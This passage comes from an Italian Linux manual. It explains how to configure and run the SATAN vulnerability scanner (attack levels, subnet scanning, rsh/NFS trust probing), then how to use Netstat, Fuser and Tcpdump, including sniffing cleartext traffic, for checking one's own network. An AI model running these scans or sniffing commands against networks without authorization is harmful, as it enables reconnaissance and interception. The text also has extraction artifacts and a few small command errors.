appositi (patch), che risolvono i problemi. A titolo di esempio si suppone di avere ritrovato il pacchetto ‘satan-1.1.1.linux-3.src.rpm’.
SATAN è un pacchetto particolare e la sua destinazione predefinita nel file system è al di fuori delle collocazioni normali. Dovendo essere uno strumento esclusivamente nelle mani dell’amministratore,
la sua collocazione più conveniente dovrebbe essere ‘/root/satan/’. La ricompilazione del pacchetto potrebbe non giungere alla collocazione definitiva dei file, lasciando l’amministratore libero di scegliere.
# cd /tmp [ Invio ]
# rpm --recompile /usr/src/redhat/SRPMS/satan-1.1.1.linux-3.src.rpm [ Invio ]
Al termine della compilazione, SATAN potrebbe essere stato collocato nella sua destinazione finale predefinita, oppure in una directory transitoria, a partire da quella corrente. Nel caso particolare
del pacchetto indicato come esempio, SATAN si trova collocato sotto ‘./satantmp/
root/satan/’. Il tutto viene spostato nella directory ‘/root/’.
# mv ./satantmp/root/satan /root [ Invio ]
229.4.1.1 Navigatore
Il programma ‘satan’ che è scritto in Perl, se viene utilizzato senza argomenti avvia un navigatore;
precisamente avvia quanto determinato in fase di configurazione prima della compilazione dei sorgenti. Se è stato installato Netscape, è questo il navigatore predefinito, ma Netscape può creare qualche problema, a causa delle particolarità dell’organizzazione di SATAN.
Lynx (o un altro navigatore senza grafica) sarebbe più che sufficiente per il lavoro che si vuole fare con SATAN; a tale proposito, conviene modificare il file ‘/root/satan/config/paths.pl’.
|$MOSAIC="/usr/bin/netscape";
La riga mostrata va modificata come nel modo seguente:
|$MOSAIC="/usr/bin/lynx";
229.4.2 Perl
SATAN dipende dall’interprete Perl, che quindi deve essere installato. Se per qualche motivo non si riesce ad avviare i programmi Perl, conviene controllare l’intestazione ed eventualmente
provvedere a rendere disponibili i collegamenti necessari. In generale, questo problema non dovrebbe esistere, dal momento che in fase di compilazione dei sorgenti vengono modificate queste
intestazioni in modo da puntare all’interprete Perl installato effettivamente.
Un altro problema che può essere generato da questi programmi Perl è la configurazione delle variabili per la localizzazione: ‘LANG’ e la serie ‘LC_*’. Se la loro configurazione non è corretta 330 volume IV Comunicare 2
in base all’impostazione del proprio sistema, Perl mostra una segnalazione di errore per ogni programma avviato, attraverso lo standard error.
|perl: warning: Setting locale failed.
|perl: warning: Please check that your locale settings:
| LC_ALL = "mia_locale",
| LANG = "it_IT.ISO-8859-1"
| are supported and installed on your system.
|perl: warning: Falling back to the standard locale ("C").
Nell’esempio si mostra che Perl ha scoperto una definizione impropria della variabile ‘LC_ALL’, dal momento che non esiste il tipo di localizzazione ‘mia_locale’.
Per risolvere il problema, se non si trova la definizione giusta per la localizzazione, conviene eliminare la configurazione del variabili di localizzazione, oppure impostare ‘LC_ALL’ al valore ‘C’.
# export LC_ALL=C [ Invio ]
229.4.3 Configurazione
La configurazione di SATAN è contenuta in alcuni file collocati nella directory ‘satan/
config/’.
File Descrizione
‘satan/config/paths.pl’
Un pezzo di programma Perl per la definizione di alcune variabili contenenti i percorsi dei programmi utilizzati da SATAN.
In questo file, in particolare, deve essere indicato il percorso del navigatore che si vuole utilizzare.
‘satan/config/paths.sh’
Un pezzo di script di shell per la definizione di alcune variabili di ambiente, contenenti il riferimento ad alcuni programmi utilizzati.
‘satan/config/services’ L’equivalente del file ‘/etc/services’, ma a uso personale di SATAN.
‘satan/config/satan.cf’ Configurazione del funzionamento di SATAN.
Tra tutti questi file, merita attenzione ‘satan/config/satan.cf’. Dalla sua corretta configurazione dipende il buon funzionamento di SATAN. Si tratta di un pezzo di file Perl, all’interno del quale si annotano una serie di assegnamenti a variabili di vario tipo (scalari, array, hash), secondo le regole di Perl. Di seguito vengono indicate alcune direttive più importanti.
|# Where do we keep the data? This is just a default.
|$satan_data = "satan-data";
La variabile ‘$satan_data’ permette di definire il nome della directory all’interno della quale inserire i file contenenti il rapporto delle scansioni fatte da SATAN. Questa directory discende da ‘satan/results/’ e solitamente, come mostra l’esempio, si tratta di ‘satan/results/satan-data/’.
|# Default attack level (0=light, 1=normal, 2=heavy).
|$attack_level = 2;
Il livello dell’attacco, definito attraverso la variabile ‘$attack_level’, permette di specificare tre valori, da zero a due. L’attacco più pesante è rappresentato dal numero due.
Verifica della vulnerabilità della propria rete 331
|# status file; keeps track of what SATAN is doing.
|$status_file = "status_file";
SATAN accumula la registrazione sommaria delle operazioni compiute all’interno di un file.
Generalmente si tratta di ‘satan/status_file’, come mostra l’esempio in cui si definisce la variabile omonima.
|# How far out from the original target do we attack? Zero means that we only
|# look at the hosts or network that you specify. One means look at neighboring
|# hosts, too. Anything over two is asking for problems, unless you are on the
|# inside of a firewall.
|$max_proximity_level = 1;
La variabile ‘$max_proximity_level’ permette di definire il cosiddetto livello di prossimità, cioè quali nodi scandire. In pratica, zero significa limitare la scansione all’unico nodo indicato come punto di inizio, che rappresenta la scelta migliore fino a quando non si conosce l’uso di SATAN; uno indica a SATAN di provare tutti i nodi vicini. Usando un valore superiore a due, si inizia in pratica una scansione su tutto ciò che è raggiungibile attraverso la rete (cosa da evitare).
|# Attack level drops by this much each proximity level change
|$proximity_descent = 1;
Per evitare la proliferazione degli attacchi, si può stabilire la riduzione del livello dell’attacco, ogni volta che si passa a uno strato più esterno di nodi, cioè ogni volta che si attraversa un livello di prossimità.
|# when we go below zero attack, do we stop (0) or go on (1)?
|$sub_zero_proximity = 0;
Attraverso la variabile ‘$sub_zero_proximity’ è possibile dire a SATAN cosa fare quando il livello di attacco è arrivato sotto il numero zero. Assegnando zero si intende concludere la scansione; assegnando uno si intende proseguire fino all’esaurimento degli strati di prossimità.
|# a question; do we attack subnets when we nuke a target?
|# 0 = no; 1 = primary target subnet
|$attack_proximate_subnets = 0;
È possibile dire a SATAN di attaccare l’intera sottorete di un nodo individuato. Generalmente, non si utilizza questa possibilità, a meno che si stia tentando di individuare un possibile elaboratore collocato nella propria rete locale senza permesso. Assegnando il valore uno alla variabile ‘$attack_proximate_subnets’ si ottiene l’attacco alla sottorete.
|# Does SATAN run on an untrusted host? (0=no; 1=yes, this host may appear
|# in the rhosts, hosts.equiv or NFS export files of hosts that are being
|# probed).
|#
|$untrusted_host = 1;
Attraverso questa variabile, è possibile richiedere a SATAN una verifica della «fiducia» accordata al sistema locale presso quelli che vengono scandagliati. In pratica, se si assegna il valore uno alla variabile ‘$untrusted_host’, SATAN tenta di accedere attraverso ‘rsh’ presso i nodi da analizzare, verificando anche la disponibilità di directory esportate attraverso il protocollo NFS.
332 volume IV Comunicare 2
|# If $only_attack_these is non-null, *only* hit sites if they are of this
|# type. You can specify a domain (podunk.edu) or network number
|# (192.9.9). You can specify a list of shell-like patterns with domains
|# or networks, separated by whitespace or commas.
|$only_attack_these = "brot.dg, 192.168";
Per evitare di sconfinare oltre la propria sottorete o il proprio dominio, è possibile utilizzare la variabile ‘$only_attack_these’, a cui assegnare una stringa contenente un elenco di domini e di indirizzi IP parziali, come si vede nell’esempio.
|# Stay away from anyone that matches these patterns.
|#
|$dont_attack_these = "gov, mil";
Nello stesso modo, è possibile evitare esplicitamente domini e indirizzi IP, attraverso l’uso della variabile ‘$dont_attack_these’. Nell’esempio si vogliono evitare i domini ‘gov’ e ‘mil’.
|# Set the following to nonzero if DNS (internet name service) is unavailable.
|#
|$dont_use_nslookup = 0;
Per SATAN è importante che il servizio DNS sia disponibile. Se non è così, si deve assegnare il valore uno alla variabile ‘$dont_use_nslookup’.
|# Should SATAN ping hosts to see if they are alive?
|#
|$dont_use_ping = 0;
SATAN utilizza ‘ping’ per verificare la presenza dei nodi. Nel caso si volesse evitare il suo utilizzo, si può assegnare il valore uno alla variabile ‘$dont_use_ping’.
Il file di configurazione termina con la riga seguente. Si tratta di qualcosa che riguarda Perl e non deve essere cambiato.
|1;
229.4.4 Avvio del programma
‘satan’ è il programma Perl che si utilizza per la scansione dei nodi da verificare e anche per avviare l’interfaccia HTML, attraverso un navigatore come definito con la variabile ‘$MOSAIC’ nel file ‘satan/config/paths.pl’.
|
|satan [opzioni] [obiettivo_primario]|
Se ‘satan’ viene avviato con l’indicazione di un nodo da controllare (attaccare), inizia l’operazione in base alla configurazione contenuta nel file ‘satan/config/satan.cf’, con le varianti apportate attraverso le opzioni della riga di comando. Ciò che si ottiene alla fine dell’elaborazione è l’aggiornamento dei file contenuti a partire dalla directory ‘satan/results/’. Per la lettura dei risultati, si utilizza normalmente il sistema HTML, avviato attraverso ‘satan’ senza argomenti.
Verifica della vulnerabilità della propria rete 333
Per utilizzare ‘satan’, non occorre sistemare la variabile di ambiente ‘PATH’. Tuttavia, è necessario che la directory corrente corrisponda alla posizione iniziale del pacchetto. Per esempio, se il tutto si trova a partire da ‘/root/satan/’, occorre che questa sia la directory
corrente prima dell’avvio del programma.
Opzione Descrizione
|-a {0|1|2} Permette di ridefinire il livello di attacco: zero è il minimo, due è il massimo.
|-l {0|1|2}
Definisce il livello di prossimità: zero rappresenta solo il
nodo di partenza; uno i nodi prossimi. Non è conveniente
usare un valore superiore a due, perché questo rappresenta
implicitamente qualunque nodo raggiungibile.
|-s
Allargamento alla sottorete: con questa opzione, ogni volta
che si individua un nodo si allarga la ricerca anche a tutta la
sottorete (l’ultimo ottetto dell’indirizzo IP).
|-v Visualizza le azioni compiute da ‘satan’ durante la sua
scansione.
• # ./satan roggen.brot.dg [ Invio ]
Inizia la verifica del nodo roggen.brot.dg in base alla configurazione stabilita nel file ‘satan/config/satan.cf’.
• # ./satan -s roggen.brot.dg [ Invio ]
Come nell’esempio precedente, espandendo la scansione a tutta la sottorete a cui appartiene il nodo indicato.
• # ./satan [ Invio ]
Avvia il navigatore con l’interfaccia HTML.
229.4.5 Verifica del risultato
Il risultato dell’elaborazione (degli attacchi) di SATAN viene memorizzato all’interno di file collocati a partire dalla directory ‘satan/results/’. Si tratta di file di testo che potrebbero
essere interpretati così come sono, con qualche piccola difficoltà.
In alternativa, si può usare convenientemente un navigatore, avviato tramite l’eseguibile ‘satan’.
La figura 229.25 mostra il menù principale che si ottiene all’inizio.
334 volume IV Comunicare 2
Figura 229.25. Il menù principale che si ottiene quando l’eseguibile ‘satan’ viene
avviato in modo da utilizzare il navigatore.
Dal menù principale, si seleziona normalmente il riferimento Reporting & Data Analysis, per visualizzare il rapporto sulla scansione eseguita. Si ottiene un altro menù, con il quale selezionare
il tipo di informazione desiderata.
Figura 229.26. Il menù che permette di accedere alle informazioni accumulate.
A titolo di esempio, la figura 229.27 mostra il responso di una scansione che ha rivelato alcuni elementi di vulnerabilità. In corrispondenza di ognuna delle due voci si trova un riferimento che
porta a delle spiegazioni più dettagliate.
Figura 229.27. Esempio del responso di vulnerabilità di un nodo, distinto in base al tipo.
Appunti di informatica libera 2005.09.23 anteprima --- Copyright Ó 2000-2005 Daniele Giacomini -- hdaniele (ad) swlibero·org i, hdaniele·giacomini (ad) poste·it i ---
questa è un’edizione di prova dell’opera, contenente sezioni incomplete o scritte in modo frettoloso; si prega di segnalare i difetti riscontrati, di qualunque
genere essi siano, e si chiede gentilmente di non diffondere questa edizione, in attesa di quella standard
1 Queso GNU GPL
Verifica della vulnerabilità della propria rete 335
2 Raccess GNU GPL
3 Nmap GNU GPL
4 SATAN software non libero
336
Capitolo 230
Strumenti per il controllo e l’analisi del traffico IP
L’analisi del traffico della rete, sia per mezzo dell’intercettazione di tutti i pacchetti che attraversano una rete fisica, sia per mezzo del controllo di ciò che riguarda esclusivamente una singola interfaccia di rete del nodo locale, è molto importante per comprendere i problemi legati alla sicurezza e per scoprire inconvenienti di vario genere.
L’uso produttivo degli strumenti che vengono descritti in questo capitolo richiederebbe una preparazione adeguata sulla composizione dei pacchetti dei protocolli TCP/IP, diversamente si riesce solo a sfiorare la comprensione di quello che accade. Tuttavia, per quanto poco, un po’ di pratica con questi può essere utile in ogni caso.
230.1 Netstat
Netstat 1 è un programma specifico di GNU/Linux, in grado di mostrare in modo agevole alcune informazioni contenute nella directory ‘/proc/net/’. Le informazioni disponibili sono molte,
anche troppe. In queste sezioni viene mostrato solo un uso limitato di Netstat, riferito ai protocolli TCP/IP.
Le informazioni disponibili riguardano esclusivamente la sfera del nodo locale, comprese le connessioni che lo riguardano.
Netstat potrebbe essere utilizzato per fornire le stesse informazioni che si possono ottenere già da ‘route’, ‘ifconfig’ e in parte da ‘iptables’. In generale, comunque, questo non dovrebbe essere il suo uso normale, che qui non viene mostrato.
230.1.1 Avvio del programma
L’eseguibile ‘netstat’ emette attraverso lo standard output una serie di notizie riferite a tutti i tipi di connessione disponibili, traendo le informazioni dai file virtuali della directory ‘/proc/net/’.
|
|netstat [opzioni]|
Se ‘netstat’ viene usato senza opzioni, mostra la situazione di tutti i tipi di collegamento, elencando i socket aperti. Se tra le opzioni appare l’indicazione di uno o più protocolli, le informazioni che si ottengono si limitano a quanto richiesto espressamente.
Opzione Descrizione
|-t
|--tcp
Richiede espressamente lo stato delle connessioni TCP.
|-u
|--udp
Richiede espressamente lo stato dei socket che utilizzano il
protocollo UDP.
|--inet
|--ip
Richiede espressamente le informazioni che riguardano l’uso
dei protocolli TCP/IP.
Strumenti per il controllo e l’analisi del traffico IP 337
Opzione Descrizione
|-e
Richiede di aggiungere l’indicazione dell’utente proprietario
del processo relativo.
|-o Richiede di aggiungere l’indicazione dei timer di rete.
|-a Elenca tutte le porte utilizzate, incluse quelle dei serventi in
ascolto.
|-n
Mostra le informazioni in forma numerica: indirizzi IP,
numeri di porta, numeri UID.
Segue la descrizione di alcuni esempi.
• # netstat --inet [ Invio ]
Emette l’elenco dei socket di dominio Internet, ovvero tutte le comunicazioni aperte tra i programmi attraverso i protocolli TCP/IP.
• # netstat --inet -e [ Invio ]
Come nell’esempio precedente, aggiungendo l’indicazione degli utenti proprietari dei processi che attuano le connessioni.
• # netstat --tcp -a [ Invio ]
Mostra la situazione delle porte TCP, in particolare quelle dei servizi in ascolto.
230.1.2 Interpretazione del risultato
Gli elenchi restituiti da Netstat sono composti in forma tabellare. Di seguito appare la descrizione dei nomi delle colonne di queste.
Colonna Stato Descrizione
‘Proto’
Rappresenta il protocollo utilizzato in ogni porta attiva.
Può trattarsi di ‘tcp’, ‘udp’ e ‘raw’.
‘Recv-Q’,
‘Send-Q’
Rappresenta la coda di byte che sono stati ricevuti ma non ancora prelevati dal programma che utilizza la connessione, o che sono stati trasmessi ma per i quali non è stata ricevuta conferma dal nodo remoto.
‘Local
Address’,
‘Foreign
Address’
Rappresenta rispettivamente l’indirizzo locale e quello remoto, completo dell’indicazione della porta relativa.
‘State’
Rappresenta lo stato della porta, indicato attraverso una parola chiave tra quelle elencate di seguito. Lo stato riguarda prevalentemente le connessioni TCP, negli altri casi dovrebbe essere assente.
‘ESTABLISHED’ La porta ha una connessione in corso.
‘SYN SENT’ La porta sta tentando di instaurare una connessione.
‘SYN RECV’ È in corso l’inizializzazione della connessione.
‘FIN WAIT1’ La porta è chiusa e la connessione è in corso di
conclusione.
‘FIN WAIT2’ La connessione è chiusa e la porta è in attesa della
conferma dall’altra parte.
‘TIME WAIT’ La porta è in attesa della conferma della conclusione della
connessione.
338 volume IV Comunicare 2
Colonna Stato Descrizione
‘CLOSED’ La porta non è in uso.
‘CLOSE WAIT’ La porte remota conclude la connessione ed è in attesa di
conferma dell’altra parte.
‘LAST ACK’ La parte remota chiude la connessione e la porta è chiusa:
si è in attesa della conferma finale.
‘LISTEN’ La porta è in ascolto in attesa di connessioni in arrivo.
Queste porte vengono indicate solo se si utilizza l’opzione ‘-a’.
‘CLOSING’ Entrambe le porte stanno chiudendo la connessione, ma i
dati non sono stati inviati completamente.
‘UNKNOWN’ Lo stato della porta è sconosciuto.
‘User’ Il nome o il numero UID dell’utente proprietario della porta. Si ottiene questa informazione con l’opzione ‘-e’.
A titolo di esempio viene mostrato come può apparire una connessione TELNET tra
dinkel.brot.dg e roggen.brot.dg.
# netstat --tcp [ Invio ]
|Active Internet connections (w/o servers)
|Proto Recv-Q Send-Q Local Address Foreign Address State
|tcp 0 0 roggen.brot.dg:1170 dinkel.brot.dg:telnet ESTABLISHED
|tcp 0 0 dinkel.brot.dg:telnet roggen.brot.dg:1170 ESTABLISHED
230.2 Fuser
Fuser 2 è un programma specifico per sistemi GNU/Linux,3 che consente di individuare facilmente il processo elaborativo che ha aperto un file, oppure una porta (TCP o UDP). Si utilizza attraverso l’eseguibile ‘fuser’ e per individuare l’utilizzo di una porta TCP, si usa l’opzione ‘-n tcp’, mentre per quanto riguarda porte UDP, si usa l’opzione ‘-n tcp’. L’esempio seguente mostra il comando necessario a conoscere il numero identificativo del processo che ha aperto la porta TCP 22:
# fuser -n tcp 22 [ Invio ]
|22/tcp: 598
Successivamente, conoscendo il numero UID del processo, con l’aiuto di ‘ps’, si può scoprire chi è:
# ps ax | grep " 589 " [ Invio ]
| 598 ? S 0:00 /usr/sbin/sshd
Strumenti per il controllo e l’analisi del traffico IP 339
230.3 Tcpdump
Tcpdump 4 è lo strumento fondamentale per l’analisi del traffico che avviene nella rete fisica a cui si è collegati. Permette sia di ottenere una visione sintetica dei pacchetti, sia di visualizzarne il contenuto in esadecimale. Inoltre, è possibile definire un filtro ai pacchetti da prendere in considerazione. Purtroppo, il suo utilizzo efficace richiede un’ottima conoscenza dei protocolli TCP/IP.
I pacchetti vengono analizzati solo nella prima parte, normalmente di 68 byte, perdendo le informazioni successive. Eventualmente, questa dimensione può essere aumentata, anche se in generale ciò è sconsigliabile dal momento che richiederebbe un tempo di elaborazione maggiore, portando anche alla perdita di pacchetti.
Tcpdump può generare un risultato in esadecimale, oppure può emettere i pacchetti così come sono. Per poter interpretare il contenuto dei pacchetti, è necessario conoscere la loro struttura,
in base ai protocolli relativi. A titolo di esempio, viene mostrato un programma Perl elementare, per filtrare i caratteri di controllo ASCII:
|#!/usr/bin/perl
|
|while ($riga = <STDIN>)
| {
| $riga =~ tr/\x00-\x1F//;
| $riga =~ tr/\x7F//;
| $riga =~ tr/\xFF//;
| print STDOUT ("$riga");
| }
Supponendo che questo sia il programma ‘filtro’, si può spiare in modo molto banale ciò che passa per la rete con il comando seguente:
# tcpdump -l -i eth0 -s 0 -w - | filtro [ Invio ]
La cosa diventa ancora più semplice se si vuole utilizzare il programma ‘strings’ che dovrebbe essere disponibile in tutti i sistemi standard:
# tcpdump -l -i eth0 -s 0 -w - | strings [ Invio ]
230.3.1 Avvio del programma
‘tcpdump’ emette le informazioni tratte dalla parte iniziale dei pacchetti che possono essere intercettati attraverso un’interfaccia di rete, che corrispondono a una data espressione.
|
|tcpdump [opzioni] [espressione]|
340 volume IV Comunicare 2
Tabella 230.7. Alcune opzioni.
Opzione Significato mnemonico Descrizione |
-i interfaccia interface
Definisce l’interfaccia di rete attraverso cui ‘tcpdump’ deve porsi in ascolto. Se non viene specificata, ‘tcpdump’ sceglie la prima, ma potrebbe trattarsi anche di ‘lo’ (loopback).
|-l pipeline
Filtra l’output attraverso una memoria tampone, in modo da gestire meglio le pipeline.
|-n numbers
Fa in modo di non convertire gli indirizzi numerici e i numeri di porta nei nomi corrispondenti.
|-s n_byte split
Permette di definire esplicitamente la quantità di byte da prendere in considerazione per ogni pacchetto. In modo predefinito vengono trattati
solo i primi 68 byte. Quando la lunghezza è troppo breve per dare informazioni sufficienti, se viene identificato almeno il tipo di protocollo,
quello che si ottiene è una stringa nella forma‘[|protocollo]’.
|-w file write
Memorizza i pacchetti grezzi all’interno di un file, invece di analizzarli ed emetterne il risultato.
Il contenuto di questo file può essere elaborato successivamente con l’opzione ‘-r’.
|-r file read
Legge i pacchetti da quanto accumulato precedentemente
in un file attraverso l’opzione ‘-w’. In pratica, permette di analizzare quanto
raccolto in precedenza.
|-x exa
Si limita a emettere i pacchetti in forma esadecimale.
Per la precisione, viene emessa solo la parte dei pacchetti che rientra nel limite fissato con l’opzione ‘-s’, ovvero i primi 68 byte se questa non è stata indicata.
|-F file filter
Permette di fornire l’espressione di filtro dei pacchetti attraverso un file indicato con questa opzione.
Segue la descrizione di alcuni esempi.
• # tcpdump -i eth0 [ Invio ]
Emette attraverso lo standard output tutto il traffico che può essere intercettato per mezzo dell’interfaccia ‘eth0’.
• # tcpdump -n -i eth0 [ Invio ]
Come nell’esempio precedente, ma le informazioni sugli indirizzi e sui numeri di porta vengono indicati in forma numerica.
• # tcpdump -x -i eth0 [ Invio ]
Emette attraverso lo standard output il contenuto della prima parte dei pacchetti che possono essere intercettati per mezzo dell’interfaccia ‘eth0’. Questi dati vengono espressi in forma esadecimale.
Strumenti per il controllo e l’analisi del traffico IP 341
230.3.2 Espressioni
L’utilizzo di Tcpdump non è molto utile se non viene definito un filtro a ciò che si vuole analizzare.
Per questo motivo, dopo le opzioni normali della riga di comando può essere indicata un’espressione, più o meno articolata: solo i pacchetti che soddisfano la condizione espressa vengono presi in considerazione.
Questa espressione contiene spesso degli spazi: può essere fornita a Tcpdump in un argomento unico utilizzando dei delimitatori, oppure può essere composta da più argomenti in sequenza.
Inoltre, attraverso l’opzione ‘-F’ è possibile fornire l’espressione contenuta in un file; in tal caso,
l’espressione può essere scritta su più righe, senza bisogno di simboli di continuazione.
Le espressioni di Tcpdump sono composte da primitive che possono essere raggruppate per mezzo delle parentesi tonde (in modo da evitare ambiguità nell’ordine di risoluzione) e connesse attraverso operatori booleani:
|!
|not
un punto esclamativo o la parola chiave ‘not’ rappresenta la
negazione logica;
|&&
|and
una doppia e-commerciale (‘&&’) o la parola chiave ‘and’
rappresenta il concatenamento, ovvero un AND logico;
|||
|or
una doppia barra verticale (‘||’) o la parola chiave ‘or’ rappresenta l’alternanza, ovvero un OR logico.
All’interno delle primitive possono apparire riferimenti a diversi tipi di entità, che vengono descritte brevemente.
• Gli indirizzi di origine o di destinazione, riferiti al protocollo TCP/IP, possono essere indicati attraverso nomi di dominio o numeri IP. In particolare, è possibile fare riferimento a una sottorete indicando il numero IP parziale.
• Le porte possono essere identificate per numero o per nome.
• Per identificare i protocolli si possono usare delle parole chiave precise; in particolare:
‘ether’, ‘fddi’, ‘ip’, ‘arp’, ‘rarp’, ‘decnet’, ‘tcp’, ‘udp’.
Il protocollo identificato dalle parole chiave elencate dovrebbe essere intuitivo, almeno per i casi più comuni (IP, ARP, RARP, TCP e UDP). Le prime due parole chiave sono equivalenti:
‘ether’ e ‘fddi’ rappresentano semplicemente il secondo livello, collegamento dati, del modello ISO-OSI.
342 volume IV Comunicare 2
Primitiva Descrizione
|dst host nodo
|src host nodo
|host nodo
Se viene usata la parola chiave ‘dst’, si avvera se il campo della destinazione IP corrisponde al nodo indicato;
se viene usata la parola chiave ‘src’, si avvera se il campo dell’origine
IP corrisponde al nodo indicato; altrimenti, in mancanza di tali parole
chiave, si avvera se il nodo corrisponde indifferentemente all’origine o alla
destinazione.
|ether dst nodo_ethernet
|ether src nodo_ethernet
|ether host nodo_ethernet
Definisce un indirizzo Ethernet numerico o derivato dal contenuto del
file ‘/etc/ethers’. Come si può intuire, nel primo caso si fa riferimento
a una destinazione, nel secondo a un’origine, nel terzo non si fa differenza.
|gateway nodo
Si avvera nel caso i pacchetti utilizzino il nodo indicato come gateway,
ovvero, quando l’indirizzo Ethernet dell’origine o della destinazione
non appartiene né all’indirizzo IP dell’origine, né a quello della
destinazione.
|dst net rete
|src net rete
|net rete
Se viene usata la parola chiave ‘dst’,
si avvera se il campo della destinazione IP appartiene alla rete indicata; se
viene usata la parola chiave ‘src’, si avvera se il campo dell’origine IP appartiene alla rete indicata; altrimenti, in mancanza di tali parole chiave, si
avvera se la rete corrisponde indifferentemente all’origine o alla destinazione.
La rete può essere indicata con un numero IP incompleto, oppure attraverso
l’aggiunta di una maschera di rete. Per cui, la sintassi potrebbe essere estesa
nel modo seguente:
|dst net {rete Ã-
,!| indirizzo_ip mask maschera_ip Ã-
,!| indirizzo_ip/lunghezza_maschera}
|src net {rete Ã-
,!| indirizzo_ip mask maschera_ip Ã-
,!| indirizzo_ip/lunghezza_maschera}
|net {rete Ã-
,!| indirizzo_ip mask maschera_ip Ã-
,!| indirizzo_ip/lunghezza_maschera}
In tal caso, la maschera di rete può essere indicata attraverso un numero
IP corrispondente, oppure attraverso la quantità di bit a uno nella parte iniziale di tale maschera.
Strumenti per il controllo e l’analisi del traffico IP 343
Primitiva Descrizione
|dst port porta
|src port porta
|port porta
Definisce una porta TCP o UDP, trattandosi rispettivamente di un’origine,
di una destinazione, o di entrambe le cose indifferentemente.
|less lunghezza Ã-
,!| len <= lunghezza
|greather lunghezza Ã-
,!| len >= lunghezza
Si avvera se la dimensione del pacchetto è inferiore o uguale, oppure
maggiore o uguale alla quantità di byte indicata.
|ether proto protocollo
Definisce la selezione di un protocollo Ethernet attraverso un numero oppure un nome: ‘ip’, ‘arp’, ‘rarp’. Dal momento che questi nomi sono anche parole chiave per Tcpdump, vanno indicati facendoli precedere da una barra obliqua inversa (‘\’) (ciò tenendo conto anche del tipo di shell utilizzato; nel caso della shell Bash e di altre, occorre raddoppiare la barra obliqua inversa).
|ip proto protocollo
Definisce la selezione di un protocollo IP attraverso un numero, oppure
un nome: ‘icmp’, ‘igrp’, ‘udp’, ‘nd’, ‘tcp’. Tuttavia, i nomi ‘icmp’, ‘tcp’
e ‘udp’ vanno preceduti da una barra obliqua inversa (‘\’) per evitare che
vengano interpretati in modo speciale da Tcpdump.
|[ether] broadcast Si avvera se il pacchetto è di tipo
Ethernet broadcast.
|ip broadcast Si avvera per un pacchetto IP broadcast.
|[ether] multicast Si avvera se il pacchetto è di tipo Ethernet multicast.
|ip multicast Si avvera per un pacchetto IP multicast.
Segue la descrizione di alcuni esempi.
• # tcpdump host dinkel.brot.dg [ Invio ]
Individua ed emette tutto il traffico riferito a dinkel.brot.dg.
• # tcpdump host dinkel.brot.dg and host roggen.brot.dg [ Invio ]
Individua ed emette tutto il traffico riferito simultaneamente a dinkel.brot.dg e a roggen.brot.dg. In pratica si limita a estrarre il traffico tra questi due nodi.
• # tcpdump host dinkel.brot.dg and \(host roggen.brot.dg Ã-
,!or host weizen.brot.dg\) [ Invio ]
Individua esclusivamente il traffico intrattenuto tra dinkel.brot.dg e roggen.brot.dg, oppure tradinkel.brot.dg e weizen.brot.dg. Le pa344
volume IV Comunicare 2
rentesi tonde sono state protette attraverso la barra obliqua inversa per evitare una diversa interpretazione da parte della shell.
• # tcpdump host dinkel.brot.dg and not host roggen.brot.dg [ Invio ]
Analizza tutto il traffico intrattenuto da dinkel.brot.dg e tutti gli altri nodi, a esclusione diroggen.brot.dg.
• # tcpdump gateway router.brot.dg [ Invio ]
Analizza tutto il traffico che attraversa il nodo router.brot.dg senza essere diretto, o provenire da quello.
230.3.3 Controllo del traffico PPP
Vale la pena di annotare un’idea molto semplice per controllare in modo approssimativo il traffico di una connessione PPP. In questo caso, si pensa a una connessione PPP attraverso linea commutata, intesa come la connessione di un utente che accede a un ISP per collegarsi a Internet.
L’esigenza potrebbe nascere nel momento in cui si dovesse sospettare che il modem stia trasmettendo all’esterno dati che non dovrebbe, magari per opera di un software manomesso ad arte per questo scopo.
In un sistema GNU/Linux tipico ci sono diverse console virtuali inutilizzate, che potrebbero essere adibite al monitoraggio continuo del contenuto dei pacchetti che transitano attraverso l’interfaccia
‘ppp0’. Per farlo basta usare Tcpdump, con l’aiuto di un filtro come ‘strings’, come è già stato descritto. In questo caso, il tutto potrebbe essere avviato dallo script ‘/etc/ppp/ipup’ (direttamente o attraverso un altro script specifico). I comandi necessari sono quelli seguenti, supponendo di voler utilizzare la dodicesima console virtuale (‘/dev/tty12’):
|#!/bin/sh
|...
|...
|/bin/chown root:tty /dev/tty12
|/bin/chmod 0600 /dev/tty12
|/usr/bin/nohup /usr/sbin/tcpdump -l -i ppp0 -s 0 -w - \
| | /usr/bin/strings > /dev/tty12 &
Si può osservare che si modificano i permessi di accesso al file di dispositivo ‘/dev/tty12’ per evitare che altri possano leggere il traffico attraverso il terminale stesso.
In condizioni normali, quando l’interfaccia di rete ‘ppp0’ scompare a seguito della conclusione della connessione, anche l’eseguibile ‘tcpdump’ termina di funzionare.
Volendo complicare le cose, si può anche fare in modo che i dati vengano memorizzati in un registro, per poter fare una verifica successiva in modo più dettagliato:
|/usr/bin/nohup /usr/sbin/tcpdump -l -i ppp0 -s 0 -w - \
| | /usr/bin/tee /var/log/ppp0.log
| | /usr/bin/strings > /dev/tty12 &
Come si vede, il file ‘/var/log/ppp0.log’ viene memorizzato prima di essere ridotto da ‘strings’.
Strumenti per il controllo e l’analisi del traffico IP 345
230.4 IPTraf
IPTraf 5 è un programma di servizio per l’analisi del traffico IPv4 (in parte anche di quello non IP), che transita attraverso la rete fisica a cui ci si trova connessi. IPTraf è specializzato nel tracciamento delle connessioni e nella produzione di statistiche, senza addentrarsi nella lettura
del contenuto dei pacchetti.
IPTraf è fondamentalmente un programma interattivo, che utilizza una console virtuale o un terminale a caratteri, organizzato attraverso dei menù. La figura 230.12 mostra il menù generale di IPTraf.
Figura 230.12. Menù generale di IPTraf.
IPTraf può essere configurato attraverso la funzione Options che appare nel menù generale.
Inoltre, può annotare le informazioni sul traffico all’interno di un registro. Il file di configurazione e quello delle registrazioni vengono creati all’interno della directory ‘/var/lib/iptraf/’, che deve essere presente.
Perché possa essere analizzato tutto il traffico della propria rete fisica, è necessario che sia abilitata la modalità promiscua, come descritto nella sezione dedicata alla configurazione di IPTraf.
In questa sezione vengono descritti solo alcuni aspetti di IPTraf. Per il resto si può consultare la documentazione che accompagna questo programma.
Tabella 230.13. IPTraf funziona fondamentalmente in modo interattivo, tuttavia può essere avviato con delle opzioni in modo da raggiungere immediatamente la funzione desiderata.
Sintassi di avvio Descrizione
|iptraf
Avviando ‘iptraf’ senza opzioni si ottiene il menù dal quale scegliere il tipo di funzione desiderata.
|iptraf -i
Con l’opzione ‘-i’ si ottiene immediatamente la selezione della funzione IP traffic monitor, ovvero il monitor del traffico IP in tempo reale.
|iptraf -g
